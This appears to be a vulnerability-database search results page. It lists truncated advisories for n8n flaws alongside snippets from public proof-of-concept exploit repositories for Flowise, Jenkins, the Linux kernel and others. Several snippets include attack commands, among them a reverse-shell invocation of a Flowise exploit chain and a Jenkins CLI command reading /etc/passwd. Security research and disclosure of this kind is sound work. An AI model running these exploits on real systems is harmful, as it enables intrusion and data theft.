267287 matches found
EUVD-2026-112381
n8n before 1.123.85, 2.43.5, and 2.44.1 contains a credential guard bypass vulnerability that allows editors of shared workflows to use restricted credentials by loading sub-workflows from URLs or local files. Attackers can configure the Execute Sub-workflow node with source url or localFile to...
CVE-2026-118646 n8n before 1.123.85, 2.43.5, and 2.44.1 ReDoS via Read/Write Files Node
n8n before 1.123.85, 2.43.5, and 2.44.1 contains a regular expression denial of service vulnerability that allows authenticated members to block the event loop via crafted glob patterns. Attackers who can create and run workflows can submit a wildcard-heavy Files Selector pattern causing...
CVE-2026-118646
The software n8n (versions before 1.123.85, 2.43.5, and 2.44.1) is vulnerable to a Regular Expression Denial of Service (ReDoS) . Authenticated members with the ability to create and run workflows can provide a wildcard-heavy File(s) Selector pattern. This causes exponential backtracking during g...
EUVD-2026-112376
n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 contains a filter injection vulnerability in the Quick Base node, which sends the Where filter to the Quick Base API as raw query text. Attackers supplying untrusted input such as webhook data used to build the filter can make Get...
CVE-2026-118645
The automation platform n8n is vulnerable to a filter injection vulnerability in the Quick Base node . This issue occurs because the node sends the "Where" filter to the Quick Base API as raw query text . Affected versions include before 1.123.85 , 2.x before 2.43.5 , and 2.44.x before 2.44.1 . A...
CVE-2026-118645 n8n before 1.123.85, 2.43.5, and 2.44.1 Filter Injection via Quick Base Node Where Parameter
n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 contains a filter injection vulnerability in the Quick Base node, which sends the Where filter to the Quick Base API as raw query text. Attackers supplying untrusted input such as webhook data used to build the filter can make Get...
CVE-2026-44789-n8n-PrototypePollution-RCE
CVE-2026-44789 — n8n HTTP Request Node Pagination Prototype Pollution → RCE An authenticated n8n The public advisory states only that the pollution "combined with other techniques could lead to RCE" — it does not disclose a gadget. This repo documents and automates a concrete, verified...
CVE-2025-58434-59528
CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...
cve-2025-62726-poc
CVE-2025-62726 POC - n8n Git Node RCE Educational Purpose This is a proof-of-concept demonstration for CVE-2025-62726, created for educational purposes as part of a class project. Part of CMU Course : 18-739 Hacking & Offensive Security in Fall 2025 Vulnerability Overview CVE ID: CVE-2025-62726...
CVE-2025-40271
CVE-2025-40271 — procreaddirde rb-tree UAF LPE Proof-of-concept for a local privilege escalation vulnerability in the Linux kernel proc filesystem. The bug is a use-after-free in procreaddirde caused by rberase without RBCLEARNODE, leaving stale red-black tree links that can be raced during...
CVE-2024-23897
CVE-2024-23897 — Jenkins CLI Arbitrary File Read Quick Start 1. Start lab docker-compose up -d 2. Wait 30s, then download CLI tool curl -O http://localhost:8080/jnlpJars/jenkins-cli.jar 3. Exploit — read /etc/passwd full file java -jar jenkins-cli.jar -s http://localhost:8080 -http connect-node...
netbsd_hfs
NetBSD hfs local overflow Bug details: sizet hfslibreadanodeoffsetsvoid inbytes, uint16t outoffsetarray void ptr; if inbytes == NULL || outoffsetarray == NULL return 0; ptr = inbytes; / The offset for record 0 which is the very last offset in the node is always equal to 14, the size of the node...
GHSA-55WC-3PG8-JFW6 vulnerabilities
Vulnerabilities for packages: node-gyp, kibana...
CVE-2018-13797
node-macaddress Retrieve MAC addresses in Linux, OS X, and Windows. A common misconception about MAC addresses is that every host had one MAC address, while a host may have multiple MAC addresses – since every network interface may have its own MAC address. This library allows to discover the MAC...
CVE-2025-59528-PoC
CVE-2025-59528 PoC Python proof-of-concept script for triggering the Flowise CustomMCP RCE path via POST /api/v1/node-load-method/customMCP. ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal...
emudhra
eMudhra bundle checks https://emudhra.we-have-a-problem.com/ Sure, your browsers are doing the right thing, but TLS happens in just a few more places than just in the browser. So you need to check all the places a bundle could hide. What a pain! I don't have a solution for you, sorry. But if you...
Flowise-CVE-2025-58434-Chain-59528
FlowiseAI CVE Chain - ATO CVE-2025-58434 and RCE CVE-2025-59528 ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal. Table of Contents This repository contains a Python proof-of-concept for chainin...
CVE-2021-32804
CVE-2021-32804 This is a repository for building the Docker environment used in the yamory blog "CVE-2021-32804 Path Traversal Vulnerability in node-tar Affecting npm". Environment Setup docker build -t cve-2021-32804 . docker run -it cve-2021-32804 /bin/bash Vulnerability Reproduction node-tar...
CVE-2026-31309
CVE-2026-31309: Improper Access Control in Mysterium Node before v1.36.0 Improper authorization in the /tequilapi/config/user endpoint of Mysterium Node from v1.21.1-rc0 before v1.36.0 allows an unauthenticated attacker to arbitrarily overwrite the node's configuration and achieve a full node...